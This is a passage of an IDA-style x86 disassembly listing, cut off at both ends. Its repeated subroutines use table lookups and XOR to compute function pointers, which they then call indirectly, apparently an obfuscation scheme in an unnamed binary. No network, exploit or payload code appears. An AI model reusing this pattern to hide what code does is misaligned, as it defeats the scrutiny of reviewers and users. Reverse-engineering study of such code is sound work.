		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A9708	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A9805	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED9D0o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 60h
		mov	[ebp+var_2C], 96h
		mov	[ebp+var_28], 68h
		mov	[ebp+var_24], 1Eh
		mov	[ebp+var_20], 0CFh
		mov	[ebp+var_1C], 24h
		mov	[ebp+var_18], 37h
		mov	[ebp+var_14], 70h
		mov	[ebp+var_10], 5
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 5
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A9896
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A9896:				; CODE XREF: sub_4A9805+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A9805	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A9902	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED9D4o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0A0h
		mov	[ebp+var_2C], 91h
		mov	[ebp+var_28], 0F4h
		mov	[ebp+var_24], 63h
		mov	[ebp+var_20], 3
		mov	[ebp+var_1C], 7
		mov	[ebp+var_18], 0A8h
		mov	[ebp+var_14], 0E1h
		mov	[ebp+var_10], 1
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 1
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A9992
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A9992:				; CODE XREF: sub_4A9902+7Dj
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A9902	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A99FE	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED9D8o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 6Fh
		mov	[ebp+var_2C], 72h
		mov	[ebp+var_28], 8Eh
		mov	[ebp+var_24], 58h
		mov	[ebp+var_20], 0F7h
		mov	[ebp+var_1C], 3Eh
		mov	[ebp+var_18], 29h
		mov	[ebp+var_14], 20h
		mov	[ebp+var_10], 6
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 6
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A9A8F
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A9A8F:				; CODE XREF: sub_4A99FE+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A99FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A9AFB	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED9DCo

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 39h
		mov	[ebp+var_2C], 54h
		mov	[ebp+var_28], 38h
		mov	[ebp+var_24], 0D0h
		mov	[ebp+var_20], 0E2h
		mov	[ebp+var_1C], 99h
		mov	[ebp+var_18], 0A6h
		mov	[ebp+var_14], 0F4h
		mov	[ebp+var_10], 1
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 1
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A9B8B
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A9B8B:				; CODE XREF: sub_4A9AFB+7Dj
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A9AFB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A9BF7	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED9E0o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 37h
		mov	[ebp+var_2C], 0D8h
		mov	[ebp+var_28], 48h
		mov	[ebp+var_24], 12h
		mov	[ebp+var_20], 7Dh
		mov	[ebp+var_1C], 50h
		mov	[ebp+var_18], 33h
		mov	[ebp+var_14], 0EAh
		mov	[ebp+var_10], 0Bh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Bh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A9C88
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A9C88:				; CODE XREF: sub_4A9BF7+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A9BF7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A9CF4	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED9E4o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 97h
		mov	[ebp+var_2C], 68h
		mov	[ebp+var_28], 7Ch
		mov	[ebp+var_24], 45h
		mov	[ebp+var_20], 60h
		mov	[ebp+var_1C], 7Bh
		mov	[ebp+var_18], 8Bh
		mov	[ebp+var_14], 0ADh
		mov	[ebp+var_10], 0Dh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Dh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A9D85
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A9D85:				; CODE XREF: sub_4A9CF4+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A9CF4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A9DF1	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED9E8o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 86h
		mov	[ebp+var_2C], 19h
		mov	[ebp+var_28], 6Dh
		mov	[ebp+var_24], 0A0h
		mov	[ebp+var_20], 2Dh
		mov	[ebp+var_1C], 4Eh
		mov	[ebp+var_18], 0A9h
		mov	[ebp+var_14], 0D1h
		mov	[ebp+var_10], 7
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 7
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A9E82
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A9E82:				; CODE XREF: sub_4A9DF1+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A9DF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A9EEE	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED9ECo

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0E1h
		mov	[ebp+var_2C], 0F3h
		mov	[ebp+var_28], 0B1h
		mov	[ebp+var_24], 31h
		mov	[ebp+var_20], 81h
		mov	[ebp+var_1C], 20h
		mov	[ebp+var_18], 0B1h
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], 2
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 2
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A9F7F
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A9F7F:				; CODE XREF: sub_4A9EEE+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A9EEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A9FEB	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED9F0o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0F9h
		mov	[ebp+var_2C], 1Ch
		mov	[ebp+var_28], 0D6h
		mov	[ebp+var_24], 0FBh
		mov	[ebp+var_20], 6Bh
		mov	[ebp+var_1C], 27h
		mov	[ebp+var_18], 0E0h
		mov	[ebp+var_14], 3Eh
		mov	[ebp+var_10], 0Bh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Bh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AA07C
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AA07C:				; CODE XREF: sub_4A9FEB+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A9FEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AA0E8	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED9F4o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 54h
		mov	[ebp+var_2C], 3Ah
		mov	[ebp+var_28], 99h
		mov	[ebp+var_24], 0D2h
		mov	[ebp+var_20], 45h
		mov	[ebp+var_1C], 8Bh
		mov	[ebp+var_18], 0C9h
		mov	[ebp+var_14], 1Bh
		mov	[ebp+var_10], 8
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 8
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AA179
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AA179:				; CODE XREF: sub_4AA0E8+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AA0E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AA1E5	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED9F8o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0D5h
		mov	[ebp+var_2C], 0E6h
		mov	[ebp+var_28], 47h
		mov	[ebp+var_24], 9Ch
